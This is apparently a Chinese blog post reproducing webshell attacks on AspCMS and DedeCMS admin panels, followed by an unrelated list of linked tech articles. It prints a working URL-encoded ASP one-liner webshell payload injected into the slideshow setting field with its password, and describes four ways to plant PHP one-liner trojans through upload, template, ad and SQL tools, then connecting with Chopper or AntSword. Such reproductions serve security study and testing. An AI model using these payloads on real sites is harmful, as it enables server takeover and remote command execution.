当前位置： 首页 > news >正文

dedecms（四种webshell姿势）、aspcms webshell漏洞复现

news 来源：原创 2024/9/19 16:57:28

一、aspcms webshell

1、登陆后台，在扩展功能的幻灯片设置模块，点击保存进行抓包查看

 2、在slideTextStatus写入asp一句话木马 

1%25><%25Eval(Request(chr(65)))%25><%25 密码是a，放行，修改成功

 

3、使用菜刀工具连接查看

 

二、dedecms  webshell

1、在附件管理上传文件可以上传一句话木马php文件

2、在模板管理的index.php文件中写入phpinfo()查看

 

3、在广告管理，添加广告内容出添加一句话木马，使用蚁剑连接查看

 

4、系统中SQL命令执行工具中可以执行写入一句话木马文件

相关文章：

  • 北京网站建设多少钱？
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Leetcode 144. 二叉树的前序遍历（Easy）
  • JZ2440开发板——S3C2440的UART的使用
  • STM32启用FPU浮点运算
  • MVCC机制解析：提升数据库并发性能的关键
  • LabVIEW减速机加载控制系统
  • SpringCloud-04 OpenFeign服务调用与负载均衡
  • Springboot 集成 Swing
  • 【面试八股总结】GMP模型
  • 小程序开发设计-第一个小程序：创建小程序项目④
  • curl格式化json之jq工具？
  • Java高级编程——泛型（泛型类、泛型接口、泛型方法，完成详解，并附有案例+代码）
  • 6--SpringBootWeb案例（详解）
  • springboot实战学习笔记（2）
  • vue项目中，属性表头默认为横向排列，却没有纵向排列的组件或相关属性，如何将其纵向排列？
  • vivado中选中bd文件后generate output product是什么用，create HDL wrapper是什么用
  • [译] 怎样写一个基础的编译器
  • 5、React组件事件详解
  • C++回声服务器_9-epoll边缘触发模式版本服务器
  • C++类中的特殊成员函数
  • Gradle 5.0 正式版发布
  • iOS | NSProxy
  • iOS 颜色设置看我就够了
  • Linux CTF 逆向入门
  • MQ框架的比较
  • Mysql优化
  • Web标准制定过程
  • 不上全站https的网站你们就等着被恶心死吧
  • 理清楚Vue的结构
  • Linux权限管理(week1_day5)--技术流ken
  • 没有任何编程基础可以直接学习python语言吗？学会后能够做什么？ ...
  • ​草莓熊python turtle绘图代码（玫瑰花版）附源代码
  • ​软考-高级-系统架构设计师教程（清华第2版）【第9章 软件可靠性基础知识（P320~344）-思维导图】​
  • #QT（TCP网络编程-服务端）
  • $.ajax,axios,fetch三种ajax请求的区别
  • （12）Linux 常见的三种进程状态
  • （9）目标检测_SSD的原理
  • (day6) 319. 灯泡开关
  • （DFS + 剪枝）【洛谷P1731】 [NOI1999] 生日蛋糕
  • （剑指Offer）面试题41：和为s的连续正数序列
  • （学习日记）2024.04.04：UCOSIII第三十二节：计数信号量实验
  • （终章）[图像识别]13.OpenCV案例 自定义训练集分类器物体检测
  • *Algs4-1.5.25随机网格的倍率测试-(未读懂题)
  • .describe() python_Python-Win32com-Excel
  • .gitignore不生效的解决方案
  • .NET Framework 3.5中序列化成JSON数据及JSON数据的反序列化，以及jQuery的调用JSON
  • .NET/C# 阻止屏幕关闭，阻止系统进入睡眠状态
  • .NET序列化 serializable，反序列化
  • .sh 的运行
  • [100天算法】-二叉树剪枝（day 48）
  • [Ariticle] 厚黑之道 一 小狐狸听故事
  • [ASP.NET MVC]Ajax与CustomErrors的尴尬
  • [BUUCTF NewStarCTF 2023 公开赛道] week4 crypto/pwn
  • [BUUCTF]-Reverse:reverse3解析
  • [C#]科学计数法（scientific notation）显示为正常数字
  • [C#学习笔记]Newtonsoft.Json